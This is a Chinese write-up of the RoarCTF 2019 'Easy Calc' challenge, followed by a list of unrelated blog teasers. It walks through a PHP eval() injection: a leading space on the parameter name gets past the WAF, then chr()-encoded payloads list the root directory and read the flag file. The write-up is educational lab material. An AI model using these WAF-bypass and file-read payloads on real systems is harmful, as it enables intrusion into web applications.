[RoarCTF 2019]Easy Calc
查看源代码
<!--I've set up WAF to ensure security.-->
<script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("这啥?算不来!");}})return false;})
</script>
这里请求了另一个url,url:"calc.php?num="+encodeURIComponent($("#content").val()),
-
url:"calc.php?num=..."
:设置请求的目标地址是calc.php
,并通过GET
方式传递参数num
。 -
$("#content").val()
:获取 ID 为content
的输入框(如<input>
或<textarea>
)的值。 -
encodeURIComponent(...)
:对输入的内容进行 URL 编码,防止特殊字符(如&
,=
,空格
)破坏 URL 结构。
之后的代码是成功返回。。。。失败返回。。。
看一下calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>
$str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");} }
-
解释:
-
获取
num
参数的值($str = $_GET['num']
)。 -
定义一个黑名单
$blacklist
,禁止某些特殊字符(如空格、引号、反引号、$
、\
等)。 -
使用
preg_match
检查$str
是否包含黑名单中的字符,如果匹配到则终止程序(die()
)
-
如果通过检查就执行 eval('echo '.$str.';');
eval()
是 PHP 中的一个 危险函数,它会将传入的字符串作为 PHP 代码直接执行。
它的基本语法:eval(string $code);
计算的功能也是他实现的,例如输入1+1,eval()后输出2
很明显题目就是让我们绕过黑名单调用eval()执行系统命令来获取flag,这是一道命令注入题(rec远程代码执行)
1.利用php和waf对于请求参数解析的差异达到绕过
calc.php
中的代码使用 eval()
执行用户输入(如 echo a;
),而 a
是未定义的变量,PHP 会抛出 警告或错误(如 Undefined variable 'a'
)waf不允许num变量传递字母
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
2.scandir()函数和var_dump() 函数
WAF限制了参数num,将传入的参数'num'前添加空格,即'? num'可绕过WAF的判断。然后我们要列出参数目录中的文件和目录,
要不然我们怎么知道flag在哪,因此我们要用到函数scandir()。scandir() 函数返回指定目录中的文件和目录的数组。
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
所以拼接 ? num=1;var_dump(scandir(chr(47)))
相当于:
echo 1; // 正常输出 1 var_dump(scandir(chr(47))); // 执行恶意代码
chr(47)也就是等价于 /
发现文件f1agg
3.file_get_contents()函数来查询信息
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。
-
chr(47)
→/
chr(102)
→f
chr(49)
→1
chr(97)
→a
chr(103)
→g
num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
相关文章:

[RoarCTF 2019]Easy Calc
查看源代码 <!--Ive set up WAF to ensure security.--> <script>$(#calc).submit(function(){$.ajax({url:"calc.php?num"encodeURIComponent($("#content").val()),type:GET,success:function(data){$("#result").html(<div …...

[Windows]在Win上安装bash和zsh - 一个脚本搞定
目录 前言安装步骤配置要求下载安装脚本启动程序 前言 Windows是一个很流行的系统, 但是在Windows上安装bash和zsh一直是一个让人头疼的问题. 本蛙特意打包了一个程序, 用于一站式解决这一类的问题. 安装步骤 配置要求 系统: Windows软件: Powershell 5.1或以上 下载安装…...
ubuntu系统上运行jar程序输出时间时区不对
springboot项目打包jar文件在ubuntu系统上运行,发现在系统和日志里面,显示和打印的当前时间时区都是UTC0,通过timedatectl命令设置系统时区为Asia/Shanghai,命令date -R发现系统已经修改成功,但是发现springboot仍然输…...
React 播客专栏 Vol.18|React 第二阶段复习 · 样式与 Hooks 全面整合
视频版 🎙 欢迎回到《前端达人 React播客书单》第 18 期。 今天,我们将对第二阶段的内容进行系统复盘,重点是两个关键词:样式 与 Hooks。 样式,决定组件“长什么样”Hooks,决定组件“怎么动起来” 我们不但…...
从认识AI开始-----解密LSTM:RNN的进化之路
前言 我在上一篇文章中介绍了 RNN,它是一个隐变量模型,主要通过隐藏状态连接时间序列,实现了序列信息的记忆与建模。然而,RNN在实践中面临严重的“梯度消失”与“长期依赖建模困难”问题: 难以捕捉相隔很远的时间步之…...

leetcode0513. 找树左下角的值-meidum
1 题目:找树左下角的值 官方标定难度:中 给定一个二叉树的 根节点 root,请找出该二叉树的 最底层 最左边 节点的值。 假设二叉树中至少有一个节点。 示例 1: 输入: root [2,1,3] 输出: 1 示例 2: 输入: [1,2,3,4,null,5,6,null,null,7]…...

命令行式本地与服务器互传文件
文章目录 1. 背景2. 传输方式2.1 SCP 协议传输2.2 SFTP 协议传输 3. 注意 命令行式本地与服务器互传文件 1. 背景 多设备协同工作中,因操作系统的不同,我们经常需要将另外一个系统中的文件传输到本地PC进行浏览、编译。多设备文件互传,在嵌入…...
MPTCP 聚合吞吐
只破不立假把式,前面连续喷 MPTCP 是个错误,今天说说如何克服。 到底谁在阻碍 MPTCP 聚合吞吐一定要搞清楚,是算法硬伤,是数据不足。前文说过,将一个窗口内的数据多路径 spray 有损吞吐,想要聚合吞吐&…...
JavaScript性能优化实战技术文章大纲
代码层面优化 避免全局变量污染,使用let和const替代var,减少作用域链查找开销。 // 反例:全局变量 var globalVar 低效;// 正例:局部变量 function optimized() {const localVar 高效; }减少DOM操作,合并多次操作或…...

LabelImg: 开源图像标注工具指南
LabelImg: 开源图像标注工具指南 1. 简介 LabelImg 是一个图形化的图像标注工具,使用 Python 和 Qt 开发。它是目标检测任务中最常用的标注工具之一,支持 PASCAL VOC 和 YOLO 格式的标注输出。该工具开源、免费,并且跨平台支持 Windows、Lin…...

计算机网络 TCP篇常见面试题总结
目录 TCP 的三次握手与四次挥手详解 1. 三次握手(Three-Way Handshake) 2. 四次挥手(Four-Way Handshake) TCP 为什么可靠? 1. 序列号与确认应答(ACK) 2. 超时重传(Retransmis…...

树欲静而风不止,子欲养而亲不待
2025年6月2日,13~26℃,一般 待办: 物理2 、物理 学生重修 职称材料的最后检查 教学技能大赛PPT 遇见:使用通义创作了一副照片,很好看!都有想用来创作自己的头像了! 提示词如下: A b…...

Kotlin中的::操作符详解
Kotlin提供了::操作符,用于创建对类或对象的成员(函数、属性)的引用。这种机制叫做成员引用(Member Reference)。这是Kotlin高阶函数和函数式编程的重要组成部分。 简化函数传递 在Java中,我们这样传方法: list.forEach(item -> System.…...
【Linux】(1)—进程概念-③Linux进程概念与PCB
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、Linux进程概念与PCB 前言 提示:以下是本篇文章正文内容,下面案例可供参考 什么是进程? 进程可以理解为"正在执行的…...
神经网络中的梯度消失与梯度爆炸
在深层次的神经网络中很容易出现梯度消失与梯度爆炸的问题。这篇博客就详细介绍一下为什么会产生梯度消失与梯度爆炸的问题,以及如何解决。 首先梯度是什么 类比快递员送包裹: 神经网络训练时,需要根据预测错误(损失函数&#…...

深入详解编译与链接:翻译环境和运行环境,翻译环境:预编译+编译+汇编+链接,运行环境
目录 一、翻译环境和运行环境 二、翻译环境:预编译编译汇编链接 (一)预处理(预编译) (二)编译 1、词法分析 2、语法分析 3、语义分析 (三)汇编 (四&…...
系统架构设计师案例分析----经典架构风格特点
这次的考试太大意了,很多知识点有印象,但不能完整的描述出来。今年11月的考试,要认真备考,从现在开始,把案例分析和论文内容整理出来,一是方便记忆,二是和各位考一起分享。欢迎各位拍砖。 这段…...
基于大模型的急性乳腺炎全病程风险预测与综合治疗方案研究
目录 一、引言 1.1 研究背景与意义 1.2 研究目的与创新点 1.3 研究方法与技术路线 二、急性乳腺炎概述 三、大模型技术原理与应用现状 3.1 大模型基本原理 3.2 在医疗领域的应用案例 3.3 选择大模型用于急性乳腺炎预测的依据 四、大模型预测急性乳腺炎各阶段风险 4.…...
HTML实战:爱心图的实现
设计思路 使用纯CSS创建多种风格的爱心 添加平滑的动画效果 实现交互式爱心生成器 响应式设计适应不同设备 优雅的UI布局和色彩方案 <!DOCTYPE html> <html lang"zh-CN"> <head> <meta charset"UTF-8"> <meta nam…...

定时任务:springboot集成xxl-job-core(二)
定时任务实现方式: 存在的问题: xxl-job的原理: 可以根据服务器的个数进行动态分片,每台服务器分到的处理数据是不一样的。 1. 多台机器动态注册 多台机器同时配置了调度器xxl-job-admin之后,执行器那里会有多个注…...

DeviceNET转EtherCAT网关:医院药房自动化的智能升级神经中枢
在现代医院药房自动化系统中,高效、精准、可靠的设备通信是保障患者用药安全与效率的核心。当面临既有支持DeviceNET协议的传感器、执行器(如药盒状态传感器、机械臂限位开关)需接入先进EtherCAT高速实时网络时,JH-DVN-ECT疆鸿智能…...

一:UML类图
一、类的设计 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 学习设计模式的第一步是看懂UML类图,类图能直观的表达类、对象之间的关系,这将有助于后续对代码的编写。 类图在软件设计及应用框架前期设计中是不可缺少的一部分,它的主要成分包括:类名、…...
数据库三范式的理解
最近在学习数据库知识,发现 “数据库三范式” 这个概念特别重要,今天就来和大家分享一下我的理解,欢迎各位指正 一、数据库三范式是什么? 数据库三范式是为了让数据库结构更合理、减少数据冗余、提高数据完整性的设计规则。 第一范式&…...

Java 中 MySQL 索引深度解析:面试核心知识点与实战
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 Java 中 MySQL 索引深度解析:面试…...
DeepSeek 部署中的常见问题及解决方案
技术文章大纲:DeepSeek 部署中的常见问题及解决方案 部署环境配置问题 硬件兼容性问题(如GPU驱动版本不匹配) 操作系统及依赖库版本冲突(CUDA/cuDNN版本) Python虚拟环境配置错误 模型加载与初始化失败 预训练模型…...
Nvidia Intern 笔试回忆
Nvidia intern compute arch 的笔试回忆,感觉强度拉满,两个半小时6道编程题,难度堪比ACM,需要自己写好输入输出(ACM好歹有个签到题 ),图论的题比较多,跟大厂面试题不是同一level...…...
鸿蒙OS基于UniApp的WebRTC视频会议系统实践:从0到1的HarmonyOS适配之路#三方框架 #Uniapp
基于UniApp的WebRTC视频会议系统实践:从0到1的HarmonyOS适配之路 引言 在移动互联网时代,实时音视频通讯已成为各类应用的标配功能。本文将结合我在某大型企业协同办公项目中的实战经验,详细讲解如何使用UniApp框架开发一个支持鸿蒙系统的W…...

设计模式之结构型:装饰器模式
装饰器模式(Decorator Pattern) 定义 装饰器模式是一种结构型设计模式,允许动态地为对象添加新功能,而无需修改其原始类。它通过将对象包装在装饰器类中,以组合代替继承,实现功能的灵活扩展(如 Java I/O …...
mysql分布式教程
MySQL 主从复制 主从复制原理:MySQL 主从复制是指数据可以从一个 MySQL 数据库服务器主节点复制到一个或多个从节点。主库将写操作记录在二进制日志文件中,从库的 IO 线程请求读取主库的二进制日志并写入中继日志,然后 SQL 线程执行中继日志中…...

MySQL安装及启用详细教程(Windows版)
MySQL安装及启用详细教程(Windows版) 📋 概述 本文档将详细介绍MySQL数据库在Windows系统下的下载、安装、配置和启用过程。 📥 MySQL下载 官方下载地址 官方网站: https://dev.mysql.com/downloads/社区版本: https://dev.my…...